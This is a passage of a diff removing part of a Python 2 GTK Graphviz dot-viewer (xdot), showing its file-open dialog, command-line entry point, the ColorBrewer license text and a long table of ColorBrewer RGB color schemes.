self.widget.set_xdotcode(xdotcode): - self.set_title(os.path.basename(filename) + ' - Dot Viewer') - self.widget.zoom_to_fit() - - def open_file(self, filename): - try: - fp = file(filename, 'rt') - self.set_dotcode(fp.read(), filename) - fp.close() - except IOError, ex: - dlg = gtk.MessageDialog(type=gtk.MESSAGE_ERROR, - message_format=str(ex), - buttons=gtk.BUTTONS_OK) - dlg.set_title('Dot Viewer') - dlg.run() - dlg.destroy() - - def on_open(self, action): - chooser = gtk.FileChooserDialog(title="Open dot File", - action=gtk.FILE_CHOOSER_ACTION_OPEN, - buttons=(gtk.STOCK_CANCEL, - gtk.RESPONSE_CANCEL, - gtk.STOCK_OPEN, - gtk.RESPONSE_OK)) - chooser.set_default_response(gtk.RESPONSE_OK) - filter = gtk.FileFilter() - filter.set_name("Graphviz dot files") - filter.add_pattern("*.dot") - chooser.add_filter(filter) - filter = gtk.FileFilter() - filter.set_name("All files") - filter.add_pattern("*") - chooser.add_filter(filter) - if chooser.run() == gtk.RESPONSE_OK: - filename = chooser.get_filename() - chooser.destroy() - self.open_file(filename) - else: - chooser.destroy() - - def on_reload(self, action): - self.widget.reload() - - -def main(): - import optparse - - parser = optparse.OptionParser( - usage='\n\t%prog [file]', - version='%%prog %s' % __version__) - parser.add_option( - '-f', '--filter', - type='choice', choices=('dot', 'neato', 'twopi', 'circo', 'fdp'), - dest='filter', default='dot', - help='graphviz filter: dot, neato, twopi, circo, or fdp [default: %default]') - - (options, args) = parser.parse_args(sys.argv[1:]) - if len(args) > 1: - parser.error('incorrect number of arguments') - - win = DotWindow() - win.connect('destroy', gtk.main_quit) - win.set_filter(options.filter) - if len(args) >= 1: - if args[0] == '-': - win.set_dotcode(sys.stdin.read()) - else: - win.open_file(args[0]) - gobject.timeout_add(1000, win.update, args[0]) - gtk.main() - - -# Apache-Style Software License for ColorBrewer software and ColorBrewer Color -# Schemes, Version 1.1 -# -# Copyright (c) 2002 Cynthia Brewer, Mark Harrower, and The Pennsylvania State -# University. All rights reserved. -# -# Redistribution and use in source and binary forms, with or without -# modification, are permitted provided that the following conditions are met: -# -# 1. Redistributions as source code must retain the above copyright notice, -# this list of conditions and the following disclaimer. -# -# 2. The end-user documentation included with the redistribution, if any, -# must include the following acknowledgment: -# -# This product includes color specifications and designs developed by -# Cynthia Brewer (http://colorbrewer.org/). -# -# Alternately, this acknowledgment may appear in the software itself, if and -# wherever such third-party acknowledgments normally appear. -# -# 3. The name "ColorBrewer" must not be used to endorse or promote products -# derived from this software without prior written permission. For written -# permission, please contact Cynthia Brewer at cbrewer@psu.edu. -# -# 4. Products derived from this software may not be called "ColorBrewer", -# nor may "ColorBrewer" appear in their name, without prior written -# permission of Cynthia Brewer. -# -# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES, -# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -# FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CYNTHIA -# BREWER, MARK HARROWER, OR THE PENNSYLVANIA STATE UNIVERSITY BE LIABLE FOR ANY -# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -brewer_colors = { - 'accent3': [(127, 201, 127), (190, 174, 212), (253, 192, 134)], - 'accent4': [(127, 201, 127), (190, 174, 212), (253, 192, 134), (255, 255, 153)], - 'accent5': [(127, 201, 127), (190, 174, 212), (253, 192, 134), (255, 255, 153), (56, 108, 176)], - 'accent6': [(127, 201, 127), (190, 174, 212), (253, 192, 134), (255, 255, 153), (56, 108, 176), (240, 2, 127)], - 'accent7': [(127, 201, 127), (190, 174, 212), (253, 192, 134), (255, 255, 153), (56, 108, 176), (240, 2, 127), (191, 91, 23)], - 'accent8': [(127, 201, 127), (190, 174, 212), (253, 192, 134), (255, 255, 153), (56, 108, 176), (240, 2, 127), (191, 91, 23), (102, 102, 102)], - 'blues3': [(222, 235, 247), (158, 202, 225), (49, 130, 189)], - 'blues4': [(239, 243, 255), (189, 215, 231), (107, 174, 214), (33, 113, 181)], - 'blues5': [(239, 243, 255), (189, 215, 231), (107, 174, 214), (49, 130, 189), (8, 81, 156)], - 'blues6': [(239, 243, 255), (198, 219, 239), (158, 202, 225), (107, 174, 214), (49, 130, 189), (8, 81, 156)], - 'blues7': [(239, 243, 255), (198, 219, 239), (158, 202, 225), (107, 174, 214), (66, 146, 198), (33, 113, 181), (8, 69, 148)], - 'blues8': [(247, 251, 255), (222, 235, 247), (198, 219, 239), (158, 202, 225), (107, 174, 214), (66, 146, 198), (33, 113, 181), (8, 69, 148)], - 'blues9': [(247, 251, 255), (222, 235, 247), (198, 219, 239), (158, 202, 225), (107, 174, 214), (66, 146, 198), (33, 113, 181), (8, 81, 156), (8, 48, 107)], - 'brbg10': [(84, 48, 5), (0, 60, 48), (140, 81, 10), (191, 129, 45), (223, 194, 125), (246, 232, 195), (199, 234, 229), (128, 205, 193), (53, 151, 143), (1, 102, 94)], - 'brbg11': [(84, 48, 5), (1, 102, 94), (0, 60, 48), (140, 81, 10), (191, 129, 45), (223, 194, 125), (246, 232, 195), (245, 245, 245), (199, 234, 229), (128, 205, 193), (53, 151, 143)], - 'brbg3': [(216, 179, 101), (245, 245, 245), (90, 180, 172)], - 'brbg4': [(166, 97, 26), (223, 194, 125), (128, 205, 193), (1, 133, 113)], - 'brbg5': [(166, 97, 26), (223, 194, 125), (245, 245, 245), (128, 205, 193), (1, 133, 113)], - 'brbg6': [(140, 81, 10), (216, 179, 101), (246, 232, 195), (199, 234, 229), (90, 180, 172), (1, 102, 94)], - 'brbg7': [(140, 81, 10), (216, 179, 101), (246, 232, 195), (245, 245, 245), (199, 234, 229), (90, 180, 172), (1, 102, 94)], - 'brbg8': [(140, 81, 10), (191, 129, 45), (223, 194, 125), (246, 232, 195), (199, 234, 229), (128, 205, 193), (53, 151, 143), (1, 102, 94)], - 'brbg9': [(140, 81, 10), (191, 129, 45), (223, 194, 125), (246, 232, 195), (245, 245, 245), (199, 234, 229), (128, 205, 193), (53, 151, 143), (1, 102, 94)], - 'bugn3': [(229, 245, 249), (153, 216, 201), (44, 162, 95)], - 'bugn4': [(237, 248, 251), (178, 226, 226), (102, 194, 164), (35, 139, 69)], - 'bugn5': [(237, 248, 251), (178, 226, 226), (102, 194, 164), (44, 162, 95), (0, 109, 44)], - 'bugn6': [(237, 248, 251), (204, 236, 230), (153, 216, 201), (102, 194, 164), (44, 162, 95), (0, 109, 44)], - 'bugn7': [(237, 248, 251), (204, 236, 230), (153, 216, 201), (102, 194, 164), (65, 174, 118), (35, 139, 69), (0, 88, 36)], - 'bugn8': [(247, 252, 253), (229, 245, 249), (204, 236, 230), (153, 216, 201), (102, 194, 164), (65, 174, 118), (35, 139, 69), (0, 88, 36)], - 'bugn9': [(247, 252, 253), (229, 245, 249), (204, 236, 230), (153, 216, 201), (102, 194, 164), (65, 174, 118), (35, 139, 69), (0, 109, 44), (0, 68, 27)], - 'bupu3': [(224, 236, 244), (158, 188, 218), (136, 86, 167)], - 'bupu4': [(237, 248, 251), (179, 205, 227), (140, 150, 198), (136, 65, 157)], - 'bupu5': [(237, 248, 251), (179, 205, 227), (140, 150, 198), (136, 86, 167), (129, 15, 124)], - 'bupu6': [(237, 248, 251), (191, 211, 230), (158, 188, 218), (140, 150, 198), (136, 86, 167), (129, 15, 124)], - 'bupu7': [(237, 248, 251), (191, 211, 230), (158, 188, 218), (140, 150, 198), (140, 107, 177), (136, 65, 157), (110, 1, 107)], - 'bupu8': [(247, 252, 253), (224, 236, 244), (191, 211, 230), (158, 188, 218), (140, 150, 198), (140, 107, 177), (136, 65, 157), (110, 1, 107)], - 'bupu9': [(247, 252, 253), (224, 236, 244), (191, 211, 230), (158, 188, 218), (140, 150, 198), (140, 107, 177), (136, 65, 157), (129, 15, 124), (77, 0, 75)], - 'dark23': [(27, 158, 119), (217, 95, 2), (117, 112, 179)], - 'dark24': [(27, 158, 119), (217, 95, 2), (117, 112, 179), (231, 41, 138)], - 'dark25': [(27, 158, 119), (217, 95, 2), (117, 112, 179), (231, 41, 138), (102, 166, 30)], - 'dark26': [(27, 158, 119), (217, 95, 2), (117, 112, 179), (231, 41, 138), (102, 166, 30), (230, 171, 2)], - 'dark27': [(27, 158, 119), (217, 95, 2), (117, 112, 179), (231, 41, 138), (102, 166, 30), (230, 171, 2), (166, 118, 29)], - 'dark28': [(27, 158, 119), (217, 95, 2), (117, 112, 179), (231, 41, 138), (102, 166, 30), (230, 171, 2), (166, 118, 29), (102, 102, 102)], - 'gnbu3': [(224, 243, 219), (168, 221, 181), (67, 162, 202)], - 'gnbu4': [(240, 249, 232), (186, 228, 188), (123, 204, 196), (43, 140, 190)], - 'gnbu5': [(240, 249, 232), (186, 228, 188), (123, 204, 196), (67, 162, 202), (8, 104, 172)], - 'gnbu6': [(240, 249, 232), (204, 235, 197), (168, 221, 181), (123, 204, 196), (67, 162, 202), (8, 104, 172)], - 'gnbu7': [(240, 249, 232), (204, 235, 197), (168, 221, 181), (123, 204, 196), (78, 179, 211), (43, 140, 190), (8, 88, 158)], - 'gnbu8': [(247, 252, 240), (224, 243, 219), (204, 235, 197), (168, 221, 181), (123, 204, 196), (78, 179, 211), (43, 140, 190), (8, 88, 158)], - 'gnbu9': [(247, 252, 240), (224, 243, 219), (204, 235, 197), (168, 221, 181), (123, 204, 196), (78, 179, 211), (43, 140, 190), (8, 104, 172), (8, 64, 129)], - 'greens3': [(229, 245, 224), (161, 217, 155), (49, 163, 84)], - 'greens4': [(237, 248, 233), (186, 228, 179), (116, 196, 118), (35, 139, 69)], - 'greens5': [(237, 248, 233), (186, 228, 179), (116, 196, 118), (49, 163, 84), (0, 109, 44)], - 'greens6': [(237, 248, 233), (199, 233, 192), (161, 217, 155), (116, 196, 118), (49, 163, 84), (0, 109, 44)], - 'greens7': [(237, 248, 233), (199, 233, 192), (161, 217, 155), (116, 196, 118), (65, 171, 93), (35, 139, 69), (0, 90, 50)], - 'greens8': [(247, 252, 245), (229, 245, 224), (199, 233, 192), (161, 217, 155), (116, 196, 118), (65, 171, 93), (35, 139, 69), (0, 90, 50)], - 'greens9': [(247, 252, 245), (229, 245, 224), (199, 233, 192), (161, 217, 155), (116, 196, 118), (65, 171, 93), (35, 139, 69), (0, 109, 44), (0, 68, 27)], - 'greys3': [(240, 240, 240), (189, 189, 189), (99, 99, 99)], - 'greys4': [(247, 247, 247), (204, 204, 204), (150, 150, 150), (82, 82, 82)], - 'greys5': [(247, 247, 247), (204, 204, 204), (150, 150, 150), (99, 99, 99), (37, 37, 37)], - 'greys6': [(247, 247, 247), (217, 217, 217), (189, 189, 189), (150, 150, 150), (99, 99, 99), (37, 37, 37)], - 'greys7': [(247, 247, 247), (217, 217, 217), (189, 189, 189), (150, 150, 150), (115, 115, 115), (82, 82, 82), (37, 37, 37)], - 'greys8': [(255, 255, 255), (240, 240, 240), (217, 217, 217), (189, 189, 189), (150, 150, 150), (115, 115, 115), (82, 82, 82), (37, 37, 37)], - 'greys9': [(255, 255, 255), (240, 240, 240), (217, 217, 217), (189, 189, 189), (150, 150, 150), (115, 115, 115), (82, 82, 82), (37, 37, 37), (0, 0, 0)], - 'oranges3': [(254, 230, 206), (253, 174, 107), (230, 85, 13)], - 'oranges4': [(254, 237, 222), (253, 190, 133), (253, 141, 60), (217, 71, 1)], - 'oranges5': [(254, 237, 222), (253, 190, 133), (253, 141, 60), (230, 85, 13), (166, 54, 3)], - 'oranges6': [(254, 237, 222), (253, 208, 162), (253, 174, 107), (253, 141, 60), (230, 85, 13), (166, 54, 3)], - 'oranges7': [(254, 237, 222), (253, 208, 162), (253, 174, 107), (253, 141, 60), (241, 105, 19), (217, 72, 1), (140, 45, 4)], - 'oranges8': [(255, 245, 235), (254, 230, 206), (253, 208, 162), (253, 174, 107), (253, 141, 60), (241, 105, 19), (217, 72, 1), (140, 45, 4)], - 'oranges9': [(255, 245, 235), (254, 230, 206), (253, 208, 162), (253, 174, 107), (253, 141, 60), (241, 105, 19), (217, 72, 1), (166, 54, 3), (127, 39, 4)], - 'orrd3': [(254, 232, 200), (253, 187, 132), (227, 74, 51)], - 'orrd4': [(254, 240, 217), (253, 204, 138), (252, 141, 89), (215, 48, 31)], - 'orrd5': [(254, 240, 217), (253, 204, 138), (252, 141, 89), (227, 74, 51), (179, 0, 0)], - 'orrd6': [(254, 240, 217), (253, 212, 158), (253, 187, 132), (252, 141, 89), (227, 74, 51), (179, 0, 0)], - 'orrd7': [(254, 240, 217), (253, 212, 158), (253, 187, 132), (252, 141, 89), (239, 101, 72), (215, 48, 31), (153, 0, 0)], - 'orrd8': [(255, 247, 236), (254, 232, 200), (253, 212, 158), (253, 187, 132), (252, 141, 89), (239, 101, 72), (215, 48, 31), (153, 0, 0)], - 'orrd9': [(255, 247, 236), (254, 232, 200), (253, 212, 158), (253, 187, 132), (252, 141, 89), (239, 101, 72), (215, 48, 31), (179, 0, 0), (127, 0, 0)], - 'paired10': [(166, 206, 227), (106, 61, 154), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111), (255, 127, 0), (202, 178, 214)], - 'paired11': [(166, 206, 227), (106, 61, 154), (255, 255, 153), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111), (255, 127, 0), (202, 178, 214)], - 'paired12': [(166, 206, 227), (106, 61, 154), (255, 255, 153), (177, 89, 40), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111), (255, 127, 0), (202, 178, 214)], - 'paired3': [(166, 206, 227), (31, 120, 180), (178, 223, 138)], - 'paired4': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44)], - 'paired5': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153)], - 'paired6': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28)], - 'paired7': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111)], - 'paired8': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111), (255, 127, 0)], - 'paired9': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111), (255, 127, 0), (202, 178, 214)], - 'pastel13': [(251, 180, 174), (179, 205, 227), (204, 235, 197)], - 'pastel14': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228)], - 'pastel15': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228), (254, 217, 166)], - 'pastel16': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228), (254, 217, 166), (255, 255, 204)], - 'pastel17': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228), (254, 217, 166), (255, 255, 204), (229, 216, 189)], - 'pastel18': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228), (254, 217, 166), (255, 255, 204), (229, 216, 189), (253, 218, 236)], - 'pastel19': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228), (254, 217, 166), (255, 255, 204), (229, 216, 189), (253, 218, 236), (242, 242, 242)], - 'pastel23': [(179, 226, 205), (253, 205, 172), (203, 213, 232)], - 'pastel24': [(179, 226, 205), (253, 205, 172), (203, 213, 232), (244, 202, 228)], - 'pastel25': [(179, 226, 205), (253, 205, 172), (203, 213, 232), (244, 202, 228), (230, 245, 201)], - 'pastel26': [(179, 226, 205), (253, 205, 172), (203, 213, 232), (244, 202, 228), (230, 245, 201), (255, 242, 174)], - 'pastel27': [(179, 226, 205), (253, 205, 172), (203, 213, 232), (244, 202, 228), (230, 245, 201), (255, 242, 174), (241, 226, 204)], - 'pastel28': [(179, 226, 205), (253, 205, 172), (203, 213, 232), (244, 202, 228), (230, 245, 201), (255, 242, 174), (241, 226, 204), (204, 204, 204)], - 'piyg10': [(142, 1, 82), (39, 100, 25), (197, 27, 125), (222, 119, 174), (241, 182, 218), (253, 224, 239), (230, 245, 208), (184, 225, 134), (127, 188, 65), (77, 146, 33)], - 'piyg11': [(142, 1, 82), (77, 146, 33), (39, 100, 25), (197, 27, 125), (222, 119, 174), (241, 182, 218), (253, 224, 239), (247, 247, 247), (230, 245, 208), (184, 225, 134), (127, 188, 65)], - 'piyg3': [(233, 163, 201), (247, 247, 247), (161, 215, 106)], - 'piyg4': [(208, 28, 139), (241, 182, 218), (184, 225, 134), (77, 172, 38)], - 'piyg5': [(208, 28, 139), (241, 182, 218), (247, 247, 247), (184, 225, 134), (77, 172, 38)], - 'piyg6': [(197, 27, 125), (233, 163, 201), (253, 224, 239), (230, 245, 208), (161, 215, 106), (77, 146, 33)], - 'piyg7': [(197, 27, 125), (233, 163, 201), (253, 224, 239), (247, 247, 247), (230, 245, 208), (161, 215, 106), (77, 146, 33)], - 'piyg8': [(197, 27, 125), (222, 119, 174), (241, 182, 218), (253, 224, 239), (230, 245, 208), (184, 225, 134), (127, 188, 65), (77, 146, 33)], - 'piyg9': [(197, 27, 125), (222, 119, 174), (241, 182, 218), (253, 224, 239), (247, 247, 247), (230, 245, 208), (184, 225, 134), (127, 188, 65), (77, 146, 33)], - 'prgn10': [(64, 0, 75), (0, 68, 27), (118, 42, 131), (153, 112, 171), (194, 165, 207), (231, 212, 232), (217, 240, 211), (166, 219, 160), (90, 174, 97), (27, 120, 55)], - 'prgn11': [(64, 0, 75), (27, 120, 55), (0, 68, 27), (118, 42, 131), (153, 112, 171), (194, 165, 207), (231, 212, 232), (247, 247, 247), (217, 240, 211), (166, 219, 160), (90, 174, 97)], - 'prgn3': [(175, 141, 195), (247, 247, 247), (127, 191, 123)], - 'prgn4': [(123, 50, 148), (194, 165, 207), (166, 219, 160), (0, 136, 55)], - 'prgn5': [(123, 50, 148), (194, 165, 207), (247, 247, 247), (166, 219, 160), (0, 136, 55)], - 'prgn6': [(118, 42, 131), (175, 141, 195), (231, 212, 232), (217, 240, 211), (127, 191, 123), (27, 120, 55)], - 'prgn7': [(118, 42, 131), (175, 141, 195), (231, 212, 232), (247, 247, 247), (217, 240, 211), (127, 191, 123), (27, 120, 55)], - 'prgn8': [(118, 42, 131), (153, 112, 171), (194, 165, 207), (231, 212, 232), (217, 240, 211), (166, 219, 160), (90, 174, 97), (27, 120, 55)], - 'prgn9': [(118, 42, 131), (153, 112, 171), (194, 165, 207), (231, 212, 232), (247, 247, 247), (217, 240, 211), (166, 219, 160), (90, 174, 97), (27, 120, 55)], - 'pubu3': [(236, 231, 242), (166, 189, 219), (43, 140, 190)], - 'pubu4': [(241, 238, 246), (189, 201, 225), (116, 169, 207), (5, 112, 176)], - 'pubu5': [(241, 238, 246), (189, 201, 225), (116, 169, 207), (43, 140, 190), (4, 90, 141)], - 'pubu6': [(241, 238, 246), (208, 209, 230), (166, 189, 219), (116, 169, 207), (43, 140, 190), (4, 90, 141)], - 'pubu7': [(241, 238, 246), (208, 209, 230), (166, 189, 219), (116, 169, 207), (54, 144, 192), (5, 112, 176), (3, 78, 123)], - 'pubu8': [(255, 247, 251), (236, 231, 242), (208, 209, 230), (166, 189, 219), (116, 169, 207), (54, 144, 192), (5, 112, 176), (3, 78, 123)], - 'pubu9': [(255, 247, 251), (236, 231, 242), (208, 209, 230), (166, 189, 219), (116, 169, 207), (54, 144, 192), (5, 112, 176), (4, 90, 141), (2, 56, 88)], - 'pubugn3': [(236, 226, 240), (166, 189, 219), (28, 144, 153)], - 'pubugn4': [(246, 239, 247), (189, 201, 225), (103, 169, 207), (2, 129, 138)], - 'pubugn5': [(246, 239, 247), (189, 201, 225), (103, 169, 207), (28, 144, 153), (1, 108, 89)], - 'pubugn6': [(246, 239, 247), (208, 209, 230), (166, 189, 219), (103, 169, 207), (28, 144, 153), (1, 108, 89)], - 'pubugn7': [(246, 239, 247), (208, 209, 230), (166, 189, 219), (103, 169, 207), (54, 144, 192), (2, 129, 138), (1, 100, 80)], - 'pubugn8': [(255, 247, 251), (236, 226, 240), (208, 209, 230), (166, 189, 219), (103, 169, 207), (54, 144, 192), (2, 129, 138), (1, 100, 80)], - 'pubugn9': [(255, 247, 251), (236, 226, 240), (208, 209, 230), (166, 189, 219), (103, 169, 207), (54, 144, 192), (2, 129, 138), (1, 108, 89), (1, 70, 54)], - 'puor10': [(127, 59, 8), (45, 0, 75), (179, 88, 6), (224, 130, 20), (253, 184, 99), (254, 224, 182), (216, 218, 235), (178, 171, 210), (128, 115, 172), (84, 39, 136)], - 'puor11': [(127, 59, 8), (84, 39, 136), (45, 0, 75), (179, 88, 6), (224, 130, 20), (253, 184, 99), (254, 224, 182), (247, 247, 247), (216, 218, 235), (178, 171, 210), (128, 115, 172)], - 'puor3': [(241, 163, 64), (247, 247, 247), (153, 142, 195)], - 'puor4': [(230, 97, 1), (253, 184, 99), (178, 171, 210), (94, 60, 153)], - 'puor5': [(230, 97, 1), (253, 184, 99), (247, 247, 247), (178, 171, 210), (94, 60, 153)], - 'puor6': [(179, 88, 6), (241, 163, 64), (254, 224, 182), (216, 218, 235), (153, 142, 195), (84, 39, 136)], - 'puor7': [(179, 88, 6), (241, 163, 64), (254, 224, 182), (247, 247, 247), (216, 218, 235), (153, 142, 195), (84, 39, 136)], - 'puor8': [(179, 88, 6), (224, 130, 20), (253, 184, 99), (254, 224, 182), (216, 218, 235), (178, 171, 210), (128, 115, 172), (84, 39, 136)], - 'puor9': [(179, 88, 6), (224, 130, 20), (253, 184, 99), (254, 224, 182), (247, 247, 247), (216, 218, 235), (178, 171, 210), (128, 115, 172), (84, 39, 136)], - 'purd3': [(231, 225, 239), (201, 148, 199), (221, 28, 119)], - 'purd4': [(241, 238, 246), (215, 181, 216), (223, 101, 176), (206, 18, 86)], - 'purd5': [(241, 238, 246), (215, 181, 216), (223, 101, 176), (221, 28, 119), (152, 0, 67)], - 'purd6': [(241, 238, 246), (212, 185, 218), (201, 148, 199), (223, 101, 176), (221, 28, 119), (152, 0, 67)], - 'purd7': [(241, 238, 246), (212, 185, 218), (201, 148, 199), (223, 101, 176), (231, 41, 138), (206, 18, 86), (145, 0, 63)], - 'purd8': [(247, 244, 249), (231, 225, 239), (212, 185, 218), (201, 148, 199), (223, 101, 176), (231, 41, 138), (206, 18, 86), (145, 0, 63)], - 'purd9': [(247, 244, 249), (231, 225, 239), (212, 185, 218), (201, 148, 199), (223, 101, 176), (231, 41, 138), (206, 18, 86), (152, 0, 67), (103, 0, 31)], - 'purples3': [(239, 237, 245), (188, 189, 220), (117, 107, 177)], - 'purples4': [(242, 240, 247), (203, 201, 226), (158, 154, 200), (106, 81, 163)], - 'purples5': [(242, 240, 247), (203, 201, 226), (158, 154, 200), (117, 107, 177), (84, 39, 143)], - 'purples6': [(242, 240, 247), (218, 218, 235), (188, 189, 220), (158, 154, 200), (117, 107, 177), (84, 39, 143)], - 'purples7': [(242, 240, 247), (218, 218, 235), (188, 189, 220), (158, 154, 200), (128, 125, 186), (106, 81, 163), (74, 20, 134)], - 'purples8': [(252, 251, 253), (239, 237, 245), (218, 218, 235), (188, 189, 220), (158, 154, 200), (128, 125, 186), (106, 81, 163), (74, 20, 134)], - 'purples9': [(252, 251, 253), (239, 237, 245), (218, 218, 235), (188, 189, 220), (158, 154, 200), (128, 125, 186), (106, 81, 163), (84, 39, 143), (63, 0, 125)], - 'rdbu10': [(103, 0, 31), (5, 48, 97), (178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (209, 229, 240), (146, 197, 222), (67, 147, 195), (33, 102, 172)], - 'rdbu11': [(103, 0, 31), (33, 102, 172), (5, 48, 97), (178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (247, 247, 247), (209, 229, 240), (146, 197, 222), (67, 147, 195)], - 'rdbu3': [(239, 138, 98), (247, 247, 247), (103, 169, 207)], - 'rdbu4': [(202, 0, 32), (244, 165, 130), (146, 197, 222), (5, 113, 176)], - 'rdbu5': [(202, 0, 32), (244, 165, 130), (247, 247, 247), (146, 197, 222), (5, 113, 176)], - 'rdbu6': [(178, 24, 43), (239, 138, 98), (253, 219, 199), (209, 229, 240), (103, 169, 207), (33, 102, 172)], - 'rdbu7': [(178, 24, 43), (239, 138, 98), (253, 219, 199), (247, 247, 247), (209, 229, 240), (103, 169, 207), (33, 102, 172)], - 'rdbu8': [(178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (209, 229, 240), (146, 197, 222), (67, 147, 195), (33, 102, 172)], - 'rdbu9': [(178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (247, 247, 247), (209, 229, 240), (146, 197, 222), (67, 147, 195), (33, 102, 172)], - 'rdgy10': [(103, 0, 31), (26, 26, 26), (178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (224, 224, 224), (186, 186, 186), (135, 135, 135), (77, 77, 77)], - 'rdgy11': [(103, 0, 31), (77, 77, 77), (26, 26, 26), (178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (255, 255, 255), (224, 224, 224), (186, 186, 186), (135, 135, 135)], - 'rdgy3': [(239, 138, 98), (255, 255, 255), (153, 153, 153)], - 'rdgy4': [(202, 0, 32), (244, 165, 130), (186, 186, 186), (64, 64, 64)], - 'rdgy5': [(202, 0, 32), (244, 165, 130), (255, 255, 255), (186, 186, 186), (64, 64, 64)], - 'rdgy6': [(178, 24, 43), (239, 138, 98), (253, 219, 199), (224, 224, 224), (153, 153, 153), (77, 77, 77)], - 'rdgy7': [(178, 24, 43), (239, 138, 98), (253, 219, 199), (255, 255, 255), (224, 224, 224), (153, 153, 153), (77, 77, 77)], - 'rdgy8': [(178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (224, 224, 224), (186, 186, 186), (135, 135, 135), (77, 77, 77)], - 'rdgy9': [(178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (255, 255, 255), (224, 224, 224), (186, 186, 186), (135, 135, 135), (77, 77, 77)], - 'rdpu3': [(253, 224, 221), (250, 159, 181), (197, 27, 138)], - 'rdpu4': [(254, 235, 226), (251, 180, 185), (247, 104, 161), (174, 1, 126)], - 'rdpu5': [(254, 235, 226), (251, 180, 185), (247, 104, 161), (197, 27, 138), (122, 1, 119)], - 'rdpu6': [(254, 235, 226), (252, 197, 192), (250, 159, 181), (247, 104, 161), (197, 27, 138), (122, 1, 119)], - 'rdpu7': [(254, 235, 226), (252, 197, 192), (250, 159, 181), (247, 104, 161), (221, 52, 151), (174, 1, 126), (122, 1, 119)], - 'rdpu8': [(255, 247, 243), (253, 224, 221), (252, 197, 192), (250, 159, 181), (247, 104, 161), (221, 52, 151), (174, 1, 126), (122, 1, 119)], - 'rdpu9': [(255, 247, 243), (253, 224, 221), (252, 197, 192), (250, 159, 181), (247, 104, 161), (221, 52, 151), (174, 1, 126), (122, 1, 119), (73, 0, 106)], - 'rdylbu10': [(165, 0, 38), (49, 54, 149), (215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 144), (224, 243, 248), (171, 217, 233), (116, 173, 209), (69, 117, 180)], - 'rdylbu11': [(165, 0, 38), (69, 117, 180), (49, 54, 149), (215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 144), (255, 255, 191), (224, 243, 248), (171, 217, 233), (116, 173, 209)], - 'rdylbu3': [(252, 141, 89), (255, 255, 191), (145, 191, 219)], - 'rdylbu4': [(215, 25, 28), (253, 174, 97), (171, 217, 233), (44, 123, 182)], - 'rdylbu5': [(215, 25, 28), (253, 174, 97), (255, 255, 191), (171, 217, 233), (44, 123, 182)], - 'rdylbu6': [(215, 48, 39), (252, 141, 89), (254, 224, 144), (224, 243, 248), (145, 191, 219), (69, 117, 180)], - 'rdylbu7': [(215, 48, 39), (252, 141, 89), (254, 224, 144), (255, 255, 191), (224, 243, 248), (145, 191, 219), (69, 117, 180)], - 'rdylbu8': [(215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 144), (224, 243, 248), (171, 217, 233), (116, 173, 209), (69, 117, 180)], - 'rdylbu9': [(215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 144), (255, 255, 191), (224, 243, 248), (171, 217, 233), (116, 173, 209), (69, 117, 180)], - 'rdylgn10': [(165, 0, 38), (0, 104, 55), (215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 139), (217, 239, 139), (166, 217, 106), (102, 189, 99), (26, 152, 80)], - 'rdylgn11': [(165, 0, 38), (26, 152, 80), (0, 104, 55), (215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 139), (255, 255, 191), (217, 239, 139), (166, 217, 106), (102, 189, 99)], - 'rdylgn3': [(252, 141, 89), (255, 255, 191), (145, 207, 96)], - 'rdylgn4': [(215, 25, 28), (253, 174, 97), (166, 217, 106), (26, 150, 65)], - 'rdylgn5': [(215, 25, 28), (253, 174, 97), (255, 255, 191), (166, 217, 106), (26, 150, 65)], - 'rdylgn6': [(215, 48, 39), 